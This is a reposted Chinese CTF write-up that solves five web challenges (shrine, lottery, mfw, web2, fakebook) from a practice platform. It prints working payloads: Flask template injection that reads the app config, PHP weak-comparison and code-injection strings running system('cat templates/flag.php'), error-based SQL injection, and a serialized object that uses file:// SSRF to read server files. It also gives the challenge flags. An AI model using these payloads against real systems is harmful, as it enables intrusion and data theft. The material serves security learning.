欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界web进阶区11-15题 write up

程序员文章站 2022-05-16 19:53:04
...

攻防世界web进阶区11-15题wp

16、shrine

1、进入内容如下所示:

攻防世界web进阶区11-15题 write up

2、整理代码,对如下的代码做代码审计。

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
    return open(__file__).read()
    @app.route('/shrine/')

def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

3、这是flask ssti的模板注入,而且注入点在shrine/后面,但是代码将 () 替换为空字符,还把config和self加入了黑名单。

攻防世界web进阶区11-15题 write up

4、源码中有这一行代码:app.config[‘FLAG’] = os.environ.pop(‘FLAG’),这样的话{{config}}可查看所有app.config内容,但是config被加入了黑名单,但是在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。

config 对象:
config 对象就是Flask的config对象,也就是 app.config 对象。
{{ config.SQLALCHEMY_DATABASE_URI }}
虽然有过滤但python还有一些内置函数,比如url_for和get_flashed_messages
url_for()作用:
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹,在应用中使用 /static 即可访问。
get_flashed_messages方法: 返回之前在Flask中通过 flash() 传入的信息列表。

payload:
{{url_for.globals[‘current_app’].config[‘FLAG’]}}
{{get_flashed_messages.globals[‘current_app’].config[‘FLAG’]}}

攻防世界web进阶区11-15题 write up

flag{shrine_is_good_ssti}

17、lottery

1、进去页面如下所示,需要用钱来买flag,但是不会傻乎乎地真用钱来买呀!
攻防世界web进阶区11-15题 write up

2、御剑扫一下发现存在robots.txt,然后打开,就有新的发现了。提示是.git文件泄露。
攻防世界web进阶区11-15题 write up

3、然后用GitHack还原源码。
攻防世界web进阶区11-15题 write up

4、在api.php中发现可以利用的代码,其中 numbers参数是我们可以控制的,并且 后面还用了 == 进行比较,所以存在弱类型漏洞。
攻防世界web进阶区11-15题 write up

5、然后返回页面,按照提示开始Buy a lottery!

攻防世界web进阶区11-15题 write up

攻防世界web进阶区11-15题 write up

6、然后抓包,构造payload:{“action”:“buy”,“numbers”:[true,true,true,true,true,true,true]}.
攻防世界web进阶区11-15题 write up
攻防世界web进阶区11-15题 write up

7、回到Claim Your Prize页面,就有钱买flag了。
攻防世界web进阶区11-15题 write up

flag: cyberpeace{cb96bfb5322d1da400fdab5f7a91cf93}

18、mfw

1、进去页面如下所示:
攻防世界web进阶区11-15题 write up
2、随便点点看看,点到About的时候,发现如下所示,这样的到了这个是用什么语言编写,框架是什么,这样的话,根据提示的话,又是git泄露了。
攻防世界web进阶区11-15题 write up

3、使用GitHack还原一下源代码,有个flag.php,结果里面没有flag。
攻防世界web进阶区11-15题 write up
4、然后又开始查看每一个文件,在index.php中,发现如下代码,应该是代码执行漏洞了。
攻防世界web进阶区11-15题 write up

返回内容要查看源码:
?page=’).system(“ls”);//
?page=’).system(“ls templates”);//
?page=’).system(“cat templates/flag.php”);//
直接显示:
?page=’.system(“ls”).’
?page=’.system(“ls templates”).’
?page=’.system(“cat templates/flag.php”).’ //flag要查看源代码获得

5、构造payload,查看页面源代码,得到flag。
攻防世界web进阶区11-15题 write up

flag: cyberpeace{348ef9cf165a5b17ffe75a6e2b56454b}

19、web2

1、页面显示如下:
攻防世界web进阶区11-15题 write up

2、根据提示:逆向加密算法,解密$miwen就是flag。写出以下脚本,运行,直接得到flag。
攻防世界web进阶区11-15题 write up

php文件在线运行网站:https://tool.lu/coderunner/

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$txt1="学习 PHP";
function decode($str){
       $_o=base64_decode(strrev(str_rot13($str)));
       for($_0=0;$_0<strlen($_o);$_0++){
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;  
    }
       return strrev($_);
}
echo decode($miwen);
?>

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

20、fakebook

1、进去页面如下:
攻防世界web进阶区11-15题 write up
2、点击join之后,点开用户看一看。
攻防世界web进阶区11-15题 write up
3、扫描发现有robots.txt,访问,有备份文件。
攻防世界web进阶区11-15题 write up
攻防世界web进阶区11-15题 write up

4、下载文件打开,是如下的代码。
5、代码审计:我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面。Get()方法并没有对获取过来的url进行任何的过滤所以这里存在SSRF,curl不仅可以http、https还可使用file协议,构*序列字符串读取flag.php
攻防世界web进阶区11-15题 write up

6、寻找注入点,在参数no处测试?no=1 and 1=1
攻防世界web进阶区11-15题 write up
7、测试?no=1 and 1=2
8、数字型注入,且爆出了网站的绝对路径,下面先正常注入
攻防世界web进阶区11-15题 write up
9、爆表名 ?no=1 and updatexml(1,make_set(3,’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
攻防世界web进阶区11-15题 write up
10、爆列名 ?no=1 and updatexml(1,make_set(3,’~’,(select group_concat(column_name) from information_schema.columns where table_name=“users”)),1)#
攻防世界web进阶区11-15题 write up
11、可以看到有四列,用user.php获取序列化后的字符串,构造语句注入即可,/view.php?no=0//union//select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}'
攻防世界web进阶区11-15题 write up

12、查看页面源代码,有一个链接,点击链接,直接得到flag。
攻防世界web进阶区11-15题 write up
攻防世界web进阶区11-15题 write up
flag{c1e552fdf77049fabf65168f22f7aeab}

参考文章:https://blog.csdn.net/weixin_43610673/article/details/105189034

相关标签: CTF习题write up